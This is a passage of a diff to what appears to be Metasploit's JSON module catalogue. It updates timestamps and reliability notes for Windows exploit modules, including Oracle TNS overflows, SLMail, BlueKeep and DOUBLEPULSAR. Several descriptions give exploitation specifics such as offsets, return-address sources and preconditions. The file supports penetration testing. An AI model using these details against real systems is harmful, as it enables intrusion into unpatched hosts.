"needs_cleanup": null @@ -190926,9 +196164,7 @@ "exploit_windows/novell/zenworks_preboot_op6_bof": { "name": "Novell ZENworks Configuration Management Preboot Service 0x06 Buffer Overflow", "fullname": "exploit/windows/novell/zenworks_preboot_op6_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-03-30", "type": "exploit", @@ -190936,7 +196172,7 @@ "Stephen Fewer", "juan vazquez " ], - "description": "This module exploits a remote buffer overflow in the ZENworks Configuration\n Management 10 SP2. The vulnerability exists in the Preboot service and can be\n triggered by sending a specially crafted packet with the opcode 0x06\n (PROXY_CMD_CLEAR_WS) to the 998/TCP port. The module has been successfully tested\n on Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2\n (DEP bypass).", + "description": "This module exploits a remote buffer overflow in the ZENworks Configuration\n Management 10 SP2. The vulnerability exists in the Preboot service and can be\n triggered by sending a specially crafted packet with the opcode 0x06\n (PROXY_CMD_CLEAR_WS) to the 998/TCP port. The module has been successfully tested\n on Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2\n (DEP bypass).", "references": [ "OSVDB-65361", "BID-40486", @@ -190946,16 +196182,12 @@ "platform": "Windows", "arch": "", "rport": 998, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb", "is_install_path": true, "ref_name": "windows/novell/zenworks_preboot_op6_bof", @@ -190963,6 +196195,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -190970,9 +196211,7 @@ "exploit_windows/novell/zenworks_preboot_op6c_bof": { "name": "Novell ZENworks Configuration Management Preboot Service 0x6c Buffer Overflow", "fullname": "exploit/windows/novell/zenworks_preboot_op6c_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-02-22", "type": "exploit", @@ -190980,7 +196219,7 @@ "Luigi Auriemma", "juan vazquez " ], - "description": "This module exploits a remote buffer overflow in the ZENworks Configuration\n Management. The vulnerability exists in the Preboot service and can be triggered by\n sending a specially crafted packet with the opcode 0x6c (PROXY_CMD_GET_NEXT_STEP)\n to port 998/TCP. The module has been successfully tested on Novell ZENworks\n Configuration Management 10 SP2 / SP3 and Windows Server 2003 SP2 (DEP bypass).", + "description": "This module exploits a remote buffer overflow in the ZENworks Configuration\n Management. The vulnerability exists in the Preboot service and can be triggered by\n sending a specially crafted packet with the opcode 0x6c (PROXY_CMD_GET_NEXT_STEP)\n to port 998/TCP. The module has been successfully tested on Novell ZENworks\n Configuration Management 10 SP2 / SP3 and Windows Server 2003 SP2 (DEP bypass).", "references": [ "CVE-2011-3175", "OSVDB-80231", @@ -190990,17 +196229,13 @@ "platform": "Windows", "arch": "", "rport": 998, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2", "Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb", "is_install_path": true, "ref_name": "windows/novell/zenworks_preboot_op6c_bof", @@ -191008,6 +196243,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -191015,9 +196259,7 @@ "exploit_windows/nuuo/nuuo_cms_fu": { "name": "Nuuo Central Management Server Authenticated Arbitrary File Upload", "fullname": "exploit/windows/nuuo/nuuo_cms_fu", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-10-11", "type": "exploit", @@ -191034,16 +196276,12 @@ "platform": "Windows", "arch": "x86", "rport": 5180, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Nuuo Central Management Server <= v2.4.0" ], - "mod_time": "2022-01-13 18:54:56 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/nuuo/nuuo_cms_fu.rb", "is_install_path": true, "ref_name": "windows/nuuo/nuuo_cms_fu", @@ -191051,6 +196289,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -191058,16 +196305,14 @@ "exploit_windows/nuuo/nuuo_cms_sqli": { "name": "Nuuo Central Management Authenticated SQL Server SQLi", "fullname": "exploit/windows/nuuo/nuuo_cms_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-10-11", "type": "exploit", "author": [ "Pedro Ribeiro " ], - "description": "The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.\n This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is\n installed by default, xp_cmdshell can be enabled and abused to achieve code execution.\n This module will either use a provided session number (which can be guessed with an auxiliary\n module) or attempt to login using a provided username and password - it will also try the\n default credentials if nothing is provided.", + "description": "The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.\n This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is\n installed by default, xp_cmdshell can be enabled and abused to achieve code execution.\n This module will either use a provided session number (which can be guessed with an auxiliary\n module) or attempt to login using a provided username and password - it will also try the\n default credentials if nothing is provided.", "references": [ "CVE-2018-18982", "URL-https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02", @@ -191077,16 +196322,12 @@ "platform": "Windows", "arch": "x86", "rport": 5180, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Nuuo Central Management Server <= v2.10.0" ], - "mod_time": "2022-01-13 18:54:56 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb", "is_install_path": true, "ref_name": "windows/nuuo/nuuo_cms_sqli", @@ -191096,6 +196337,12 @@ "notes": { "SideEffects": [ "artifacts-on-disk" + ], + "Stability": [ + "unknown-stability" + ], + "Reliability": [ + "unknown-reliability" ] }, "session_types": false, @@ -191104,9 +196351,7 @@ "exploit_windows/oracle/client_system_analyzer_upload": { "name": "Oracle Database Client System Analyzer Arbitrary File Upload", "fullname": "exploit/windows/oracle/client_system_analyzer_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-01-18", "type": "exploit", @@ -191143,7 +196388,7 @@ "targets": [ "Oracle Oracle11g 11.2.0.1.0 / Windows 2003 SP2" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/oracle/client_system_analyzer_upload.rb", "is_install_path": true, "ref_name": "windows/oracle/client_system_analyzer_upload", @@ -191151,6 +196396,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -191158,9 +196412,7 @@ "exploit_windows/oracle/extjob": { "name": "Oracle Job Scheduler Named Pipe Command Execution", "fullname": "exploit/windows/oracle/extjob", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-01-01", "type": "exploit", @@ -191169,7 +196421,7 @@ "juan vazquez ", "sinn3r " ], - "description": "This module exploits the Oracle Job Scheduler to execute arbitrary commands. The Job\n Scheduler is implemented via the component extjob.exe which listens on a named pipe\n called \"orcljsex\" and execute arbitrary commands received over this channel via\n CreateProcess(). In order to connect to the Named Pipe remotely, SMB access is required.\n Note that the Job Scheduler is disabled in default installations.", + "description": "This module exploits the Oracle Job Scheduler to execute arbitrary commands. The Job\n Scheduler is implemented via the component extjob.exe which listens on a named pipe\n called \"orcljsex\" and execute arbitrary commands received over this channel via\n CreateProcess(). In order to connect to the Named Pipe remotely, SMB access is required.\n Note that the Job Scheduler is disabled in default installations.", "references": [ "URL-http://www.amazon.com/Oracle-Hackers-Handbook-Hacking-Defending/dp/0470080221" ], @@ -191187,7 +196439,7 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/oracle/extjob.rb", "is_install_path": true, "ref_name": "windows/oracle/extjob", @@ -191195,6 +196447,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -191202,16 +196463,14 @@ "exploit_windows/oracle/osb_ndmp_auth": { "name": "Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow", "fullname": "exploit/windows/oracle/osb_ndmp_auth", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-01-14", "type": "exploit", "author": [ "MC " ], - "description": "The module exploits a stack buffer overflow in Oracle Secure Backup.\n When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,\n an attacker may be able to execute arbitrary code.", + "description": "The module exploits a stack buffer overflow in Oracle Secure Backup.\n When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2008-5444", "OSVDB-51340", @@ -191220,16 +196479,12 @@ "platform": "Windows", "arch": "", "rport": 10000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/oracle/osb_ndmp_auth.rb", "is_install_path": true, "ref_name": "windows/oracle/osb_ndmp_auth", @@ -191237,6 +196492,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -191244,16 +196508,14 @@ "exploit_windows/oracle/tns_arguments": { "name": "Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow", "fullname": "exploit/windows/oracle/tns_arguments", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2001-06-28", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Oracle 8i. When\n sending a specially crafted packet containing an overly long\n ARGUMENTS string to the TNS service, an attacker may be able\n to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Oracle 8i. When\n sending a specially crafted packet containing an overly long\n ARGUMENTS string to the TNS service, an attacker may be able\n to execute arbitrary code.", "references": [ "CVE-2001-0499", "OSVDB-9427", @@ -191262,17 +196524,13 @@ "platform": "Windows", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Oracle 8.1.7.0.0 Standard Edition (Windows 2000)", "Oracle 8.1.7.0.0 Standard Edition (Windows 2003)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/oracle/tns_arguments.rb", "is_install_path": true, "ref_name": "windows/oracle/tns_arguments", @@ -191280,6 +196538,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -191287,16 +196554,14 @@ "exploit_windows/oracle/tns_auth_sesskey": { "name": "Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow", "fullname": "exploit/windows/oracle/tns_auth_sesskey", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-10-20", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack buffer overflow in Oracle. When\n sending a specially crafted packet containing a long AUTH_SESSKEY value\n to the TNS service, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Oracle. When\n sending a specially crafted packet containing a long AUTH_SESSKEY value\n to the TNS service, an attacker may be able to execute arbitrary code.", "references": [ "CVE-2009-1979", "OSVDB-59110", @@ -191308,18 +196573,14 @@ "platform": "Windows", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Oracle 10.2.0.1.0 Enterprise Edition", "Oracle 10.2.0.4.0 Enterprise Edition" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/oracle/tns_auth_sesskey.rb", "is_install_path": true, "ref_name": "windows/oracle/tns_auth_sesskey", @@ -191327,6 +196588,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -191334,16 +196604,14 @@ "exploit_windows/oracle/tns_service_name": { "name": "Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow", "fullname": "exploit/windows/oracle/tns_service_name", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2002-05-27", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Oracle. When\n sending a specially crafted packet containing a long SERVICE_NAME\n to the TNS service, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Oracle. When\n sending a specially crafted packet containing a long SERVICE_NAME\n to the TNS service, an attacker may be able to execute arbitrary code.", "references": [ "CVE-2002-0965", "OSVDB-5041", @@ -191353,17 +196621,13 @@ "platform": "Windows", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Oracle 8.1.7.0.0 Standard Edition (Windows 2000)", "Oracle 8.1.7.0.0 Standard Edition (Windows 2003)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/oracle/tns_service_name.rb", "is_install_path": true, "ref_name": "windows/oracle/tns_service_name", @@ -191371,6 +196635,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -191378,16 +196651,14 @@ "exploit_windows/pop3/seattlelab_pass": { "name": "Seattle Lab Mail 5.5 POP3 Buffer Overflow", "fullname": "exploit/windows/pop3/seattlelab_pass", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-05-07", "type": "exploit", "author": [ "stinko " ], - "description": "There exists an unauthenticated buffer overflow vulnerability\n in the POP3 server of Seattle Lab Mail 5.5 when sending a password\n with excessive length.\n\n Successful exploitation should not crash either the\n service or the server; however, after initial use the\n port cannot be reused for successive exploitation until\n the service has been restarted. Consider using a command\n execution payload following the bind shell to restart\n the service if you need to reuse the same port.\n\n The overflow appears to occur in the debugging/error reporting\n section of the slmail.exe executable, and there are multiple\n offsets that will lead to successful exploitation. This exploit\n uses 2606, the offset that creates the smallest overall payload.\n The other offset is 4654.\n\n The return address is overwritten with a \"jmp esp\" call from the\n application library SLMFC.DLL found in %SYSTEM%\\system32\\. This\n return address works against all version of Windows and service packs.\n\n The last modification date on the library is dated 06/02/99. Assuming\n that the code where the overflow occurs has not changed in some time,\n prior version of SLMail may also be vulnerable with this exploit. The\n author has not been able to acquire older versions of SLMail for\n testing purposes. Please let us know if you were able to get this\n exploit working against other SLMail versions.", + "description": "There exists an unauthenticated buffer overflow vulnerability\n in the POP3 server of Seattle Lab Mail 5.5 when sending a password\n with excessive length.\n\n Successful exploitation should not crash either the\n service or the server; however, after initial use the\n port cannot be reused for successive exploitation until\n the service has been restarted. Consider using a command\n execution payload following the bind shell to restart\n the service if you need to reuse the same port.\n\n The overflow appears to occur in the debugging/error reporting\n section of the slmail.exe executable, and there are multiple\n offsets that will lead to successful exploitation. This exploit\n uses 2606, the offset that creates the smallest overall payload.\n The other offset is 4654.\n\n The return address is overwritten with a \"jmp esp\" call from the\n application library SLMFC.DLL found in %SYSTEM%\\system32\\. This\n return address works against all version of Windows and service packs.\n\n The last modification date on the library is dated 06/02/99. Assuming\n that the code where the overflow occurs has not changed in some time,\n prior version of SLMail may also be vulnerable with this exploit. The\n author has not been able to acquire older versions of SLMail for\n testing purposes. Please let us know if you were able to get this\n exploit working against other SLMail versions.", "references": [ "CVE-2003-0264", "OSVDB-11975", @@ -191396,16 +196667,12 @@ "platform": "Windows", "arch": "", "rport": 110, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows NT/2000/XP/2003 (SLMail 5.5)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/pop3/seattlelab_pass.rb", "is_install_path": true, "ref_name": "windows/pop3/seattlelab_pass", @@ -191413,6 +196680,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -191420,9 +196696,7 @@ "exploit_windows/postgres/postgres_payload": { "name": "PostgreSQL for Microsoft Windows Payload Execution", "fullname": "exploit/windows/postgres/postgres_payload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-04-10", "type": "exploit", @@ -191430,7 +196704,7 @@ "Bernardo Damele A. G. ", "todb " ], - "description": "On default Microsoft Windows installations of PostgreSQL the postgres\n service account may write to the current directory (which is usually\n \"C:\\Program Files\\PostgreSQL\\\\data\" where is the\n major.minor version of PostgreSQL). UDF DLL's may be sourced from\n there as well.\n\n This module uploads a Windows DLL file via the pg_largeobject method\n of binary injection and creates a UDF (user defined function) from\n that DLL. Because the payload is run from DllMain, it does not need to\n conform to specific Postgres API versions.", + "description": "On default Microsoft Windows installations of PostgreSQL the postgres\n service account may write to the current directory (which is usually\n \"C:\\Program Files\\PostgreSQL\\\\data\" where is the\n major.minor version of PostgreSQL). UDF DLL's may be sourced from\n there as well.\n\n This module uploads a Windows DLL file via the pg_largeobject method\n of binary injection and creates a UDF (user defined function) from\n that DLL. Because the payload is run from DllMain, it does not need to\n conform to specific Postgres API versions.", "references": [ "URL-https://web.archive.org/web/20100803002909/http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql" ], @@ -191447,7 +196721,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2024-02-19 10:57:53 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/postgres/postgres_payload.rb", "is_install_path": true, "ref_name": "windows/postgres/postgres_payload", @@ -191455,28 +196729,33 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "postgresql" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/proxy/bluecoat_winproxy_host": { "name": "Blue Coat WinProxy Host Header Overflow", "fullname": "exploit/windows/proxy/bluecoat_winproxy_host", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-01-05", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in the Blue Coat Systems WinProxy\n service by sending a long port value for the Host header in a HTTP\n request.", + "description": "This module exploits a buffer overflow in the Blue Coat Systems WinProxy\n service by sending a long port value for the Host header in a HTTP\n request.", "references": [ "CVE-2005-4085", "OSVDB-22238", @@ -191486,16 +196765,12 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "WinProxy <= 6.1 R1a Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb", "is_install_path": true, "ref_name": "windows/proxy/bluecoat_winproxy_host", @@ -191503,6 +196778,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -191510,16 +196794,14 @@ "exploit_windows/proxy/ccproxy_telnet_ping": { "name": "CCProxy Telnet Proxy Ping Overflow", "fullname": "exploit/windows/proxy/ccproxy_telnet_ping", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-11-11", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits the YoungZSoft CCProxy <= v6.2 suite\n Telnet service. The stack is overwritten when sending an overly\n long address to the 'ping' command.", + "description": "This module exploits the YoungZSoft CCProxy <= v6.2 suite\n Telnet service. The stack is overwritten when sending an overly\n long address to the 'ping' command.", "references": [ "CVE-2004-2416", "OSVDB-11593", @@ -191529,12 +196811,8 @@ "platform": "Windows", "arch": "x86", "rport": 23, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 Pro All - English", @@ -191543,7 +196821,7 @@ "Windows XP SP0/1 - English", "Windows XP SP2 - English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb", "is_install_path": true, "ref_name": "windows/proxy/ccproxy_telnet_ping", @@ -191551,6 +196829,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -191558,16 +196845,14 @@ "exploit_windows/proxy/proxypro_http_get": { "name": "Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow", "fullname": "exploit/windows/proxy/proxypro_http_get", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-02-23", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Proxy-Pro Professional\n GateKeeper 4.7. By sending a long HTTP GET to the default port\n of 3128, a remote attacker could overflow a buffer and execute\n arbitrary code.", + "description": "This module exploits a stack buffer overflow in Proxy-Pro Professional\n GateKeeper 4.7. By sending a long HTTP GET to the default port\n of 3128, a remote attacker could overflow a buffer and execute\n arbitrary code.", "references": [ "CVE-2004-0326", "OSVDB-4027", @@ -191576,16 +196861,12 @@ "platform": "Windows", "arch": "", "rport": 3128, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Proxy-Pro GateKeeper 4.7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/proxy/proxypro_http_get.rb", "is_install_path": true, "ref_name": "windows/proxy/proxypro_http_get", @@ -191593,6 +196874,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -191600,16 +196890,14 @@ "exploit_windows/proxy/qbik_wingate_wwwproxy": { "name": "Qbik WinGate WWW Proxy Server URL Processing Overflow", "fullname": "exploit/windows/proxy/qbik_wingate_wwwproxy", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-06-07", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a stack buffer overflow in Qbik WinGate version\n 6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the\n HTTP proxy service on port 80, a remote attacker could overflow\n a buffer and execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Qbik WinGate version\n 6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the\n HTTP proxy service on port 80, a remote attacker could overflow\n a buffer and execute arbitrary code.", "references": [ "CVE-2006-2926", "OSVDB-26214", @@ -191618,16 +196906,12 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "WinGate 6.1.1.1077" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb", "is_install_path": true, "ref_name": "windows/proxy/qbik_wingate_wwwproxy", @@ -191635,6 +196919,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -191642,9 +196935,7 @@ "exploit_windows/rdp/cve_2019_0708_bluekeep_rce": { "name": "CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free", "fullname": "exploit/windows/rdp/cve_2019_0708_bluekeep_rce", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2019-05-14", "type": "exploit", @@ -191654,21 +196945,19 @@ "OJ Reeves ", "Brent Cook " ], - "description": "The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,\n allowing a malformed Disconnect Provider Indication message to cause use-after-free.\n With a controllable data/size remote nonpaged pool spray, an indirect call gadget of\n the freed channel is used to achieve arbitrary code execution.\n\n Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets.\n\n Windows 7 SP1 should be exploitable in its default configuration, assuming your target\n selection is correctly matched to the system's memory layout.\n\n HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam\n *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2.\n This is a non-standard configuration for normal servers, and the target will crash if\n the aforementioned Registry key is not set!\n\n If the target is crashing regardless, you will likely need to determine the non-paged\n pool base in kernel memory and set it as the GROOMBASE option.", + "description": "The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,\n allowing a malformed Disconnect Provider Indication message to cause use-after-free.\n With a controllable data/size remote nonpaged pool spray, an indirect call gadget of\n the freed channel is used to achieve arbitrary code execution.\n\n Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets.\n\n Windows 7 SP1 should be exploitable in its default configuration, assuming your target\n selection is correctly matched to the system's memory layout.\n\n HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam\n *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2.\n This is a non-standard configuration for normal servers, and the target will crash if\n the aforementioned Registry key is not set!\n\n If the target is crashing regardless, you will likely need to determine the non-paged\n pool base in kernel memory and set it as the GROOMBASE option.", "references": [ "CVE-2019-0708", "URL-https://github.com/zerosum0x0/CVE-2019-0708", - "URL-https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html" + "URL-https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html", + "ATT&CK-T1059", + "ATT&CK-T1068" ], "platform": "Windows", "arch": "", "rport": 3389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic targeting via fingerprinting", "Windows 7 SP1 / 2008 R2 (6.1.7601 x64)", @@ -191680,7 +196969,7 @@ "Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)", "Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)" ], - "mod_time": "2023-07-14 12:46:26 +0000", + "mod_time": "2025-06-06 12:39:33 +0000", "path": "/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb", "is_install_path": true, "ref_name": "windows/rdp/cve_2019_0708_bluekeep_rce", @@ -191690,6 +196979,15 @@ "notes": { "AKA": [ "Bluekeep" + ], + "Stability": [ + "unknown-stability" + ], + "Reliability": [ + "unknown-reliability" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": false, @@ -191698,9 +196996,7 @@ "exploit_windows/rdp/rdp_doublepulsar_rce": { "name": "RDP DOUBLEPULSAR Remote Code Execution", "fullname": "exploit/windows/rdp/rdp_doublepulsar_rce", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-04-14", "type": "exploit", @@ -191712,24 +197008,20 @@ "Tom Sellers", "Spencer McIntyre" ], - "description": "This module executes a Metasploit payload against the Equation Group's\n DOUBLEPULSAR implant for RDP.\n\n While this module primarily performs code execution against the implant,\n the \"Neutralize implant\" target allows you to disable the implant.", + "description": "This module executes a Metasploit payload against the Equation Group's\n DOUBLEPULSAR implant for RDP.\n\n While this module primarily performs code execution against the implant,\n the \"Neutralize implant\" target allows you to disable the implant.", "references": [ 